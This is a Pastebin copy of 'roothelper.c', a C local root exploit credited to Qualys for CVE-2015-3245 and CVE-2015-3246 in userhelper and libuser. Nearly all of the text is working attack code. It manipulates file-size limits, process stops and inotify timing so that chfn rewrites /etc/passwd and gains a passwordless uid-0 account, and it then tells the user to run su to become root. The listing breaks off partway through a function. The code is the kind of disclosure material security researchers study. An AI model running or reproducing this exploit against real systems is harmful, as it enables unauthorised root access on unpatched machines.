Advertisement
Guest User

Untitled

a guest
Jun 25th, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.36 KB | None | 0 0
  1. /*
  2. * roothelper.c - an unusual local root exploit against:
  3. * CVE-2015-3245 userhelper chfn() newline filtering
  4. * CVE-2015-3246 libuser passwd file handling
  5. * Copyright (C) 2015 Qualys, Inc.
  6. *
  7. * gecos_* types and functions inspired by userhelper.c
  8. * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
  9. *
  10. * UH_* #defines and comments inspired by userhelper.h
  11. * Copyright (C) 1997-2001, 2007 Red Hat, Inc.
  12. *
  13. * This program is free software: you can redistribute it and/or modify
  14. * it under the terms of the GNU General Public License as published by
  15. * the Free Software Foundation, either version 3 of the License, or
  16. * (at your option) any later version.
  17. *
  18. * This program is distributed in the hope that it will be useful,
  19. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  20. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  21. * GNU General Public License for more details.
  22. *
  23. * You should have received a copy of the GNU General Public License
  24. * along with this program. If not, see <http://www.gnu.org/licenses/>.
  25. */
  26.  
  27. #define _GNU_SOURCE
  28. #include <ctype.h>
  29. #include <errno.h>
  30. #include <fcntl.h>
  31. #include <inttypes.h>
  32. #include <limits.h>
  33. #include <pwd.h>
  34. #include <sched.h>
  35. #include <signal.h>
  36. #include <stdarg.h>
  37. #include <stdbool.h>
  38. #include <stdio.h>
  39. #include <stdlib.h>
  40. #include <string.h>
  41. #include <sys/inotify.h>
  42. #include <sys/resource.h>
  43. #include <sys/socket.h>
  44. #include <sys/stat.h>
  45. #include <sys/time.h>
  46. #include <sys/types.h>
  47. #include <sys/wait.h>
  48. #include <unistd.h>
  49.  
  50. /* A maximum GECOS field length. There's no hard limit, so we guess. */
  51. #define GECOS_LENGTH 127
  52.  
  53. typedef char gecos_field[GECOS_LENGTH];
  54.  
  55. /* A structure to hold broken-out GECOS data. The number and names of the
  56. * fields are dictated entirely by the flavor of finger we use. Seriously. */
  57. struct gecos_data {
  58. gecos_field full_name; /* full user name */
  59. gecos_field office; /* office */
  60. gecos_field office_phone; /* office phone */
  61. gecos_field home_phone; /* home phone */
  62. gecos_field site_info; /* other stuff */
  63. };
  64.  
  65. static struct userhelper {
  66. struct gecos_data gecos;
  67. rlim_t fsizelim;
  68. pid_t pid;
  69. int fd;
  70. } userhelpers[GECOS_LENGTH];
  71.  
  72. static void
  73. die_in_parent(const char *const file, const unsigned int line,
  74. const char *const function)
  75. {
  76. fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
  77. fflush(stderr);
  78.  
  79. unsigned int i;
  80. for (i = 0; i < GECOS_LENGTH; i++) {
  81. const pid_t pid = userhelpers[i].pid;
  82. if (pid <= 0) continue;
  83. kill(pid, SIGKILL);
  84. }
  85. _exit(EXIT_FAILURE);
  86. }
  87.  
  88. static void
  89. die_in_child(const char *const file, const unsigned int line,
  90. const char *const function)
  91. {
  92. fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
  93. exit(EXIT_FAILURE);
  94. }
  95.  
  96. static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
  97. #define die() die_fn(__FILE__, __LINE__, __func__)
  98.  
  99. static void *
  100. xmalloc(const size_t size)
  101. {
  102. if (size <= 0) die();
  103. if (size >= INT_MAX) die();
  104. void *const ptr = malloc(size);
  105. if (ptr == NULL) die();
  106. return ptr;
  107. }
  108.  
  109. static void *
  110. xrealloc(void *const old, const size_t size)
  111. {
  112. if (size <= 0) die();
  113. if (size >= INT_MAX) die();
  114. void *const new = realloc(old, size);
  115. if (new == NULL) die();
  116. return new;
  117. }
  118.  
  119. static char *
  120. xstrndup(const char *const old, const size_t len)
  121. {
  122. if (old == NULL) die();
  123. if (len >= INT_MAX) die();
  124.  
  125. char *const new = strndup(old, len);
  126.  
  127. if (new == NULL) die();
  128. if (len != strlen(new)) die();
  129. return new;
  130. }
  131.  
  132. static int
  133. xsnprintf(char *const str, const size_t size, const char *const format, ...)
  134. {
  135. if (str == NULL) die();
  136. if (size <= 0) die();
  137. if (size >= INT_MAX) die();
  138. if (format == NULL) die();
  139.  
  140. va_list ap;
  141. va_start(ap, format);
  142. const int len = vsnprintf(str, size, format, ap);
  143. va_end(ap);
  144.  
  145. if (len < 0) die();
  146. if ((unsigned int)len >= size) die();
  147. if ((unsigned int)len != strlen(str)) die();
  148. return len;
  149. }
  150.  
  151. static int
  152. xopen(const char *const pathname, const int flags)
  153. {
  154. if (pathname == NULL) die();
  155. if (*pathname != '/') die();
  156. if (flags != O_RDONLY) die();
  157.  
  158. const int fd = open(pathname, flags);
  159. if (fd <= -1) die();
  160.  
  161. static const struct flock rdlock = {
  162. .l_type = F_RDLCK,
  163. .l_whence = SEEK_SET,
  164. .l_start = 0,
  165. .l_len = 0
  166. };
  167. if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
  168. return fd;
  169. }
  170.  
  171. static void
  172. xclose(const int fd)
  173. {
  174. if (fd <= -1) die();
  175. static const struct flock unlock = {
  176. .l_type = F_UNLCK,
  177. .l_whence = SEEK_SET,
  178. .l_start = 0,
  179. .l_len = 0
  180. };
  181. if (fcntl(fd, F_SETLK, &unlock) != 0) die();
  182. if (close(fd) != 0) die();
  183. }
  184.  
  185. #define GECOS_BADCHARS ":,=\n"
  186.  
  187. /* A simple function to compute the size of a gecos string containing the
  188. * data we have. */
  189. static size_t
  190. gecos_size(const struct gecos_data *const parsed)
  191. {
  192. if (parsed == NULL) die();
  193.  
  194. size_t len = 4; /* commas! */
  195. len += strlen(parsed->full_name);
  196. len += strlen(parsed->office);
  197. len += strlen(parsed->office_phone);
  198. len += strlen(parsed->home_phone);
  199. len += strlen(parsed->site_info);
  200. len++;
  201. return len;
  202. }
  203.  
  204. /* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
  205. Note that the parsing is performed using the convention obeyed by BSDish
  206. finger(1) under Linux. */
  207. static void
  208. gecos_parse(const char *const gecos, struct gecos_data *const parsed)
  209. {
  210. if (gecos == NULL) die();
  211. if (strlen(gecos) >= INT_MAX) die();
  212.  
  213. if (parsed == NULL) die();
  214. memset(parsed, 0, sizeof(*parsed));
  215.  
  216. unsigned int i;
  217. const char *field = gecos;
  218.  
  219. for (i = 0; ; i++) {
  220. const char *field_end = strchrnul(field, ',');
  221. gecos_field *dest = NULL;
  222.  
  223. switch (i) {
  224. case 0:
  225. dest = &parsed->full_name;
  226. break;
  227. case 1:
  228. dest = &parsed->office;
  229. break;
  230. case 2:
  231. dest = &parsed->office_phone;
  232. break;
  233. case 3:
  234. dest = &parsed->home_phone;
  235. break;
  236. case 4:
  237. field_end = rawmemchr(field_end, '\0');
  238. dest = &parsed->site_info;
  239. break;
  240. default:
  241. die();
  242. }
  243. const size_t field_len = field_end - field;
  244. xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
  245. if (strlen(*dest) != field_len) die();
  246.  
  247. if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
  248.  
  249. if (*field_end == '\0') break;
  250. field = field_end + 1;
  251. }
  252. if (gecos_size(parsed) > GECOS_LENGTH) die();
  253. }
  254.  
  255. /* Assemble a new gecos string. */
  256. static const char *
  257. gecos_assemble(const struct gecos_data *const parsed)
  258. {
  259. static char ret[GECOS_LENGTH];
  260. size_t i;
  261.  
  262. if (parsed == NULL) die();
  263. /* Construct the basic version of the string. */
  264. xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
  265. parsed->full_name,
  266. parsed->office,
  267. parsed->office_phone,
  268. parsed->home_phone,
  269. parsed->site_info);
  270. /* Strip off terminal commas. */
  271. i = strlen(ret);
  272. while ((i > 0) && (ret[i - 1] == ',')) {
  273. ret[i - 1] = '\0';
  274. i--;
  275. }
  276. return ret;
  277. }
  278.  
  279. /* Descriptors used to communicate between userhelper and consolhelper. */
  280. #define UH_INFILENO 3
  281. #define UH_OUTFILENO 4
  282.  
  283. /* Userhelper request format:
  284. request code as a single character,
  285. request data size as UH_REQUEST_SIZE_DIGITS decimal digits
  286. request data
  287. '\n' */
  288. #define UH_REQUEST_SIZE_DIGITS 8
  289.  
  290. /* Synchronization point code. */
  291. #define UH_SYNC_POINT 32
  292.  
  293. /* Valid userhelper request codes. */
  294. #define UH_ECHO_ON_PROMPT 34
  295. #define UH_ECHO_OFF_PROMPT 35
  296. #define UH_EXPECT_RESP 39
  297. #define UH_SERVICE_NAME 40
  298. #define UH_USER 42
  299.  
  300. /* Consolehelper response format:
  301. response code as a single character,
  302. response data
  303. '\n' */
  304.  
  305. /* Consolehelper response codes. */
  306. #define UH_TEXT 33
  307.  
  308. /* Valid userhelper error codes. */
  309. #define ERR_UNK_ERROR 255 /* unknown error */
  310.  
  311. /* Paths, flag names, and other stuff. */
  312. #define UH_PATH "/usr/sbin/userhelper"
  313. #define UH_FULLNAME_OPT "-f"
  314. #define UH_OFFICE_OPT "-o"
  315. #define UH_OFFICEPHONE_OPT "-p"
  316. #define UH_HOMEPHONE_OPT "-h"
  317.  
  318. static char
  319. read_request(const int fd, char *const data, const size_t size)
  320. {
  321. if (fd <= -1) die();
  322. if (data == NULL) die();
  323. if (size >= INT_MAX) die();
  324.  
  325. char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
  326. if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
  327. header[sizeof(header)-1] = '\0';
  328.  
  329. errno = 0;
  330. char *endptr = NULL;
  331. const unsigned long len = strtoul(&header[1], &endptr, 10);
  332. if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
  333.  
  334. if (len >= size) die();
  335. if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
  336. if (data[len] != '\n') die();
  337. data[len] = '\0';
  338.  
  339. if (strlen(data) != len) die();
  340. if (strchr(data, '\n') != NULL) die();
  341. return header[0];
  342. }
  343.  
  344. static void
  345. send_reply(const int fd, const unsigned char type, const char *const data)
  346. {
  347. if (fd <= -1) die();
  348. if (!isascii(type)) die();
  349. if (!isprint(type)) die();
  350. if (data == NULL) die();
  351. if (strpbrk(data, "\r\n") != NULL) die();
  352.  
  353. char buf[BUFSIZ];
  354. const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
  355. if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
  356. }
  357.  
  358. #define ETCDIR "/etc"
  359. #define PASSWD "/etc/passwd"
  360. #define BACKUP "/etc/passwd-"
  361.  
  362. static struct {
  363. char username[64];
  364. char password[64];
  365. struct gecos_data gecos;
  366. } my;
  367.  
  368. static volatile sig_atomic_t is_child_dead;
  369.  
  370. static void
  371. sigchild_handler(const int signum __attribute__ ((__unused__)))
  372. {
  373. is_child_dead = true;
  374. }
  375.  
  376. static int
  377. wait_for_userhelper(struct userhelper *const uh, const int options)
  378. {
  379. if (uh == NULL) die();
  380. if (uh->pid <= 0) die();
  381. if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
  382.  
  383. int status;
  384. for (;;) {
  385. const pid_t pid = waitpid(uh->pid, &status, options);
  386. if (pid == uh->pid) break;
  387. if (pid > 0) _exit(255);
  388.  
  389. if (pid != -1) die();
  390. if (errno != EINTR) die();
  391. }
  392. if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
  393. return status;
  394. }
  395.  
  396. static void
  397. forkstop_userhelper(struct userhelper *const uh)
  398. {
  399. if (uh == NULL) die();
  400. if (uh->pid != 0) die();
  401. if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
  402.  
  403. struct rlimit fsize;
  404. if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
  405. if (uh->fsizelim > fsize.rlim_max) die();
  406. if (uh->fsizelim <= 0) die();
  407. fsize.rlim_cur = uh->fsizelim;
  408.  
  409. cpu_set_t old_cpus;
  410. CPU_ZERO(&old_cpus);
  411. if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
  412.  
  413. { const int cpu = sched_getcpu();
  414. if (cpu >= CPU_SETSIZE) die();
  415. if (cpu < 0) die();
  416. cpu_set_t new_cpus;
  417. CPU_ZERO(&new_cpus);
  418. CPU_SET(cpu, &new_cpus);
  419. if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
  420.  
  421. int sv[2];
  422. if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
  423.  
  424. if (is_child_dead) die();
  425. static const struct sigaction sigchild_action = {
  426. .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
  427. if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
  428.  
  429. uh->pid = fork();
  430. if (uh->pid <= -1) die();
  431.  
  432. if (uh->pid == 0) {
  433. die_fn = die_in_child;
  434. if (close(sv[1]) != 0) die();
  435. if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
  436. if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
  437.  
  438. const int devnull_fd = open("/dev/null", O_RDWR);
  439. if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
  440. if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
  441. if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
  442.  
  443. if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
  444. if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
  445. if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
  446.  
  447. if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
  448. static const struct sched_param sched_param = { .sched_priority = 0 };
  449. (void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
  450.  
  451. char *const argv[] = { UH_PATH,
  452. UH_FULLNAME_OPT, uh->gecos.full_name,
  453. UH_OFFICE_OPT, uh->gecos.office,
  454. UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
  455. UH_HOMEPHONE_OPT, uh->gecos.home_phone,
  456. NULL };
  457. char *const envp[] = { NULL };
  458. execve(UH_PATH, argv, envp);
  459. die();
  460. }
  461. if (die_fn != die_in_parent) die();
  462. if (close(sv[0]) != 0) die();
  463. uh->fd = sv[1];
  464.  
  465. unsigned long expected_responses = 0;
  466. for (;;) {
  467. char data[BUFSIZ];
  468. const char type = read_request(uh->fd, data, sizeof(data));
  469. if (type == UH_SYNC_POINT) break;
  470.  
  471. switch (type) {
  472. case UH_USER:
  473. if (strcmp(data, my.username) != 0) die();
  474. break;
  475. case UH_SERVICE_NAME:
  476. if (strcmp(data, "chfn") != 0) die();
  477. break;
  478. case UH_ECHO_ON_PROMPT:
  479. case UH_ECHO_OFF_PROMPT:
  480. if (++expected_responses == 0) die();
  481. break;
  482. case UH_EXPECT_RESP:
  483. if (strtoul(data, NULL, 10) != expected_responses) die();
  484. break;
  485. default:
  486. break;
  487. }
  488. }
  489. if (expected_responses != 1) die();
  490.  
  491. const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
  492. const int inotify_fd = inotify_init();
  493. if (inotify_fd <= -1) die();
  494. if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
  495. IN_OPEN) <= -1) die();
  496. if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
  497. if (errno != ENOENT) die();
  498. if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
  499. }
  500.  
  501. send_reply(uh->fd, UH_TEXT, my.password);
  502. send_reply(uh->fd, UH_SYNC_POINT, "");
  503. if (close(uh->fd) != 0) die();
  504. uh->fd = -1;
  505.  
  506. unsigned int state = 0;
  507. static const uint32_t transition[] = { IN_CLOSE_WRITE,
  508. IN_CLOSE_NOWRITE, IN_OPEN, 0 };
  509. for (;;) {
  510. if (is_child_dead) die();
  511. char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
  512. const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
  513. if (is_child_dead) die();
  514.  
  515. if (_buflen <= 0) die();
  516. size_t buflen = _buflen;
  517. if (buflen > sizeof(buffer)) die();
  518.  
  519. struct inotify_event *ep;
  520. for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
  521. ep = (struct inotify_event *)(ep->name + ep->len)) {
  522. buflen -= sizeof(*ep);
  523.  
  524. if (ep->len > 0) {
  525. if (buflen < ep->len) die();
  526. buflen -= ep->len;
  527. if ((ep->mask & IN_CREATE) == 0) die();
  528. (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
  529. continue;
  530. }
  531. if (ep->len != 0) die();
  532. while ((ep->mask & transition[state]) != 0) {
  533. ep->mask &= ~transition[state++];
  534. if (transition[state] == 0) goto stop_userhelper;
  535. }
  536. }
  537. if (buflen != 0) die();
  538. }
  539. stop_userhelper:
  540. if (kill(uh->pid, SIGSTOP) != 0) die();
  541. if (close(inotify_fd) != 0) die();
  542.  
  543. const int status = wait_for_userhelper(uh, WUNTRACED);
  544. if (!WIFSTOPPED(status)) die();
  545. if (WSTOPSIG(status) != SIGSTOP) die();
  546.  
  547. xclose(lpasswd_fd);
  548. if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
  549. if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
  550. }
  551.  
  552. static void
  553. continue_userhelper(struct userhelper *const uh)
  554. {
  555. if (uh == NULL) die();
  556. if (uh->fd != -1) die();
  557. if (uh->pid <= 0) die();
  558.  
  559. if (kill(uh->pid, SIGCONT) != 0) die();
  560.  
  561. { const int status = wait_for_userhelper(uh, WCONTINUED);
  562. if (!WIFCONTINUED(status)) die(); }
  563.  
  564. { const int status = wait_for_userhelper(uh, 0);
  565. if (!WIFEXITED(status)) die();
  566. if (WEXITSTATUS(status) !=
  567. ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
  568.  
  569. memset(uh, 0, sizeof(*uh));
  570. }
  571.  
  572. static void
  573. create_backup_of_passwd_file(void)
  574. {
  575. char backup[] = "/tmp/passwd-XXXXXX";
  576. const mode_t prev_umask = umask(077);
  577. const int ofd = mkstemp(backup);
  578. (void) umask(prev_umask);
  579. if (ofd <= -1) die();
  580.  
  581. printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
  582. const int ifd = xopen(PASSWD, O_RDONLY);
  583. for (;;) {
  584. char buf[BUFSIZ];
  585. const ssize_t len = read(ifd, buf, sizeof(buf));
  586. if (len == 0) break;
  587. if (len <= 0) die();
  588. if (write(ofd, buf, len) != len) die();
  589. }
  590. xclose(ifd);
  591. if (close(ofd) != 0) die();
  592. }
  593.  
  594. static void
  595. delete_lines_from_passwd_file(void)
  596. {
  597. struct gecos_data gecos;
  598. memset(&gecos, 0, sizeof(gecos));
  599. xsnprintf(gecos.site_info, sizeof(gecos.site_info),
  600. "%s", my.gecos.site_info);
  601. const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
  602. if (fullname_max >= GECOS_LENGTH) die();
  603. if (fullname_max <= 0) die();
  604.  
  605. char fragment[64];
  606. xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
  607.  
  608. char *contents = NULL;
  609. for (;;) {
  610. struct stat st;
  611. const int fd = xopen(PASSWD, O_RDONLY);
  612. if (fstat(fd, &st) != 0) die();
  613. if (st.st_size >= INT_MAX) die();
  614. if (st.st_size <= 0) die();
  615.  
  616. contents = xrealloc(contents, st.st_size + 1);
  617. if (read(fd, contents, st.st_size) != st.st_size) die();
  618. contents[st.st_size] = '\0';
  619. xclose(fd);
  620.  
  621. const char *cp = strstr(contents, fragment);
  622. if (cp == NULL) die();
  623. cp = strchr(cp + 2, '\n');
  624. if (cp == NULL) die();
  625. if (cp[1] == '\0') break;
  626.  
  627. char *const tp = contents + st.st_size-1;
  628. *tp = '\0';
  629. if (tp <= cp) die();
  630. if (tp - cp > fullname_max) cp = tp - fullname_max;
  631. cp = strpbrk(cp, "\n:, ");
  632. if (cp == NULL) die();
  633.  
  634. const ssize_t fullname_len = tp - cp;
  635. if (fullname_len >= GECOS_LENGTH) die();
  636. if (fullname_len <= 0) die();
  637.  
  638. printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
  639.  
  640. struct userhelper *const uh = &userhelpers[0];
  641. memset(uh->gecos.full_name, 'A', fullname_len);
  642. uh->fsizelim = st.st_size;
  643. forkstop_userhelper(uh);
  644. continue_userhelper(uh);
  645.  
  646. uh->fsizelim = RLIM_INFINITY;
  647. forkstop_userhelper(uh);
  648. continue_userhelper(uh);
  649. }
  650. free(contents);
  651. }
  652.  
  653. static size_t passwd_fsize;
  654. static int generate_userhelpers(const char *);
  655. #define IS_USER_LAST "last user in passwd file?"
  656.  
  657. static char candidate_users[256];
  658. static char superuser_elect;
  659.  
  660. int
  661. main(void)
  662. {
  663. create_backup_of_passwd_file();
  664.  
  665. { char candidate[] = "a";
  666. for (; candidate[0] <= 'z'; candidate[0]++) {
  667. if (getpwnam(candidate) != NULL) continue;
  668. strcat(candidate_users, candidate);
  669. } }
  670. if (candidate_users[0] == '\0') die();
  671.  
  672. const struct passwd *const pwd = getpwuid(getuid());
  673. if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
  674. xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
  675. gecos_parse(pwd->pw_gecos, &my.gecos);
  676.  
  677. if (fputs("Please enter your password:\n", stdout) == EOF) die();
  678. if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
  679. char *const newline = strchr(my.password, '\n');
  680. if (newline == NULL) die();
  681. *newline = '\0';
  682.  
  683. { struct userhelper *const uh = &userhelpers[0];
  684. uh->fsizelim = RLIM_INFINITY;
  685. forkstop_userhelper(uh);
  686. continue_userhelper(uh); }
  687.  
  688. retry:
  689. if (generate_userhelpers(IS_USER_LAST)) {
  690. struct userhelper *const uh1 = &userhelpers[1];
  691. strcpy(uh1->gecos.full_name, "\n");
  692. uh1->fsizelim = passwd_fsize + 1;
  693.  
  694. struct userhelper *const uh0 = &userhelpers[0];
  695. uh0->fsizelim = passwd_fsize;
  696.  
  697. forkstop_userhelper(uh1), forkstop_userhelper(uh0);
  698. continue_userhelper(uh1), continue_userhelper(uh0);
  699. if (generate_userhelpers(IS_USER_LAST)) die();
  700. }
  701.  
  702. static const char a[] = "?::0:0::/:";
  703. printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
  704.  
  705. const int n = generate_userhelpers(a);
  706. if (n == -1) {
  707. static int retries;
  708. if (retries++) die();
  709. memset(userhelpers, 0, sizeof(userhelpers));
  710. delete_lines_from_passwd_file();
  711. goto retry;
  712. }
  713. if (n <= 0) die();
  714. if (n >= GECOS_LENGTH) die();
  715. if (superuser_elect == '\0') die();
  716.  
  717. int i;
  718. for (i = n; --i >= 0; ) {
  719. printf("Starting and stopping userhelper #%d\n", i);
  720. forkstop_userhelper(&userhelpers[i]);
  721. }
  722. for (i = n; --i >= 0; ) {
  723. printf("Continuing stopped userhelper #%d\n", i);
  724. continue_userhelper(&userhelpers[i]);
  725. }
  726. printf("Exploit successful, run \"su %c\" to become root\n",
  727. (int)superuser_elect);
  728.  
  729. { struct userhelper *const uh = &userhelpers[0];
  730. uh->fsizelim = RLIM_INFINITY;
  731. uh->gecos = my.gecos;
  732. forkstop_userhelper(uh);
  733. continue_userhelper(uh); }
  734.  
  735. exit(EXIT_SUCCESS);
  736. }
  737.  
  738. static void
  739. generate_fullname(char *const fullname, const ssize_t fullname_len,
  740. const char c)
  741. {
  742. if (fullname == NULL) die();
  743. if (fullname_len < 0) die();
  744. if (fullname_len >= GECOS_LENGTH) die();
  745.  
  746. memset(fullname, 'A', fullname_len);
  747.  
  748. if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
  749. if (!isascii((unsigned char)c)) die();
  750. if (!isgraph((unsigned char)c)) die();
  751. fullname[fullname_len-1] = c;
  752. }
  753. }
  754.  
  755. static size_t siteinfo_len;
  756. static size_t fullname_off;
  757.  
  758. static size_t before_fullname_len;
  759. static char * before_fullname;
  760.  
  761. static size_t after_fullname_len;
  762. static char * after_fullname;
  763.  
  764. static int
  765. generate_userhelper(const char *const a, const int i, char *const contents)
  766. {
  767. if (i < 0) {
  768. if (i != -1) die();
  769. return 0;
  770. }
  771. if (a == NULL) die();
  772. if ((unsigned int)i >= strlen(a)) die();
  773. if (contents == NULL) die();
  774.  
  775. const char _c = a[i];
  776. const bool is_user_wildcard = (_c == '?');
  777. const char c = (is_user_wildcard ? candidate_users[0] : _c);
  778. if (c == '\0') die();
  779.  
  780. const size_t target = passwd_fsize-1 + i;
  781. const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
  782. if (fsizelim < passwd_fsize) die();
  783.  
  784. const size_t contents_len = strlen(contents);
  785. if (contents_len < passwd_fsize) die();
  786. if (contents_len <= fullname_off) die();
  787.  
  788. char *const fullname = contents + fullname_off;
  789. if (memcmp(fullname - before_fullname_len,
  790. before_fullname, before_fullname_len) != 0) die();
  791.  
  792. const char *rest = strchr(fullname, '\n');
  793. if (rest == NULL) die();
  794. rest++;
  795.  
  796. const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
  797. if (fullname_len >= GECOS_LENGTH) die();
  798. if (fullname_len < 0) die();
  799.  
  800. if (rest[-1] != '\n') die();
  801. generate_fullname(fullname, fullname_len, c);
  802. memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
  803. if (rest[-1] != '\n') die();
  804.  
  805. if (memcmp(rest - after_fullname_len,
  806. after_fullname, after_fullname_len) != 0) die();
  807.  
  808. size_t offset;
  809. for (offset = fullname_off; offset < contents_len; offset++) {
  810.  
  811. const char x = contents[offset];
  812. if (x == '\0') die();
  813. if (is_user_wildcard) {
  814. if (strchr(candidate_users, x) == NULL) continue;
  815. superuser_elect = x;
  816. } else {
  817. if (x != c) continue;
  818. }
  819.  
  820. const ssize_t new_fullname_len = fullname_len + (target - offset);
  821. if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
  822. if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
  823.  
  824. if (offset < fullname_off + fullname_len) {
  825. if (offset != fullname_off + fullname_len-1) die();
  826. if (new_fullname_len == 0) continue;
  827. }
  828. if (offset >= contents_len-1) {
  829. if (offset != contents_len-1) die();
  830. if (fsizelim != RLIM_INFINITY) continue;
  831. }
  832.  
  833. { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
  834.  
  835. memcpy(new_contents, contents, fullname_off);
  836. generate_fullname(new_contents + fullname_off, new_fullname_len, c);
  837. memcpy(new_contents + fullname_off + new_fullname_len,
  838. contents + fullname_off + fullname_len,
  839. contents_len+1 - (fullname_off + fullname_len));
  840.  
  841. if (strlen(new_contents) != contents_len +
  842. (new_fullname_len - fullname_len)) die();
  843.  
  844. if (fsizelim != RLIM_INFINITY) {
  845. if (fsizelim >= strlen(new_contents)) die();
  846. if (fsizelim >= contents_len) die();
  847. memcpy(new_contents + fsizelim,
  848. contents + fsizelim,
  849. contents_len+1 - fsizelim);
  850. }
  851.  
  852. const int err = generate_userhelper(a, i-1, new_contents);
  853. free(new_contents);
  854. if (err < 0) continue; }
  855.  
  856. if (i >= GECOS_LENGTH) die();
  857. struct userhelper *const uh = &userhelpers[i];
  858. memset(uh, 0, sizeof(*uh));
  859.  
  860. uh->fsizelim = fsizelim;
  861. if (new_fullname_len >= GECOS_LENGTH) die();
  862. generate_fullname(uh->gecos.full_name, new_fullname_len, c);
  863. return 0;
  864. }
  865. return -1;
  866. }
  867.  
  868. static int
  869. generate_userhelpers(const char *const _a)
  870. {
  871. char a[GECOS_LENGTH];
  872. if (_a == NULL) die();
  873. const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
  874. if (n >= GECOS_LENGTH) die();
  875. if (n <= 0) die();
  876.  
  877. const int fd = xopen(PASSWD, O_RDONLY);
  878. struct stat st;
  879. if (fstat(fd, &st) != 0) die();
  880. if (st.st_size >= 10*1024*1024) die();
  881. if (st.st_size <= 0) die();
  882. passwd_fsize = st.st_size;
  883.  
  884. char *const contents = xmalloc(passwd_fsize + 1);
  885. if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
  886. xclose(fd);
  887. contents[passwd_fsize] = '\0';
  888. if (strlen(contents) != passwd_fsize) die();
  889. if (contents[passwd_fsize-1] != '\n') die();
  890.  
  891. char fragment[64];
  892. xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
  893. const char *line = strstr(contents, fragment);
  894. if (line == NULL) die();
  895. line++;
  896.  
  897. const char *rest = strchr(line, '\n');
  898. if (rest == NULL) die();
  899. if (rest <= line) die();
  900. rest++;
  901.  
  902. if (strcmp(_a, IS_USER_LAST) == 0) {
  903. const bool is_user_last = (*rest == '\0');
  904. free(contents);
  905. return is_user_last;
  906. }
  907.  
  908. unsigned int i;
  909. const char *field = line;
  910.  
  911. for (i = 0; i <= 5; i++) {
  912. const char *const field_end = strchr(field, ':');
  913. if (field_end == NULL) die();
  914. if (field_end >= rest) die();
  915. const size_t field_len = field_end - field;
  916.  
  917. switch (i) {
  918. case 0:
  919. if (field_len != strlen(my.username)) die();
  920. if (memcmp(field, my.username, field_len) != 0) die();
  921. break;
  922. case 1:
  923. if (*field != 'x') die();
  924. break;
  925. case 2:
  926. if (strtoimax(field, NULL, 10) != getuid()) die();
  927. break;
  928. case 3:
  929. if (strtoimax(field, NULL, 10) != getgid()) die();
  930. break;
  931. case 4:
  932. {
  933. char assembled[GECOS_LENGTH];
  934. xsnprintf(assembled, sizeof(assembled),
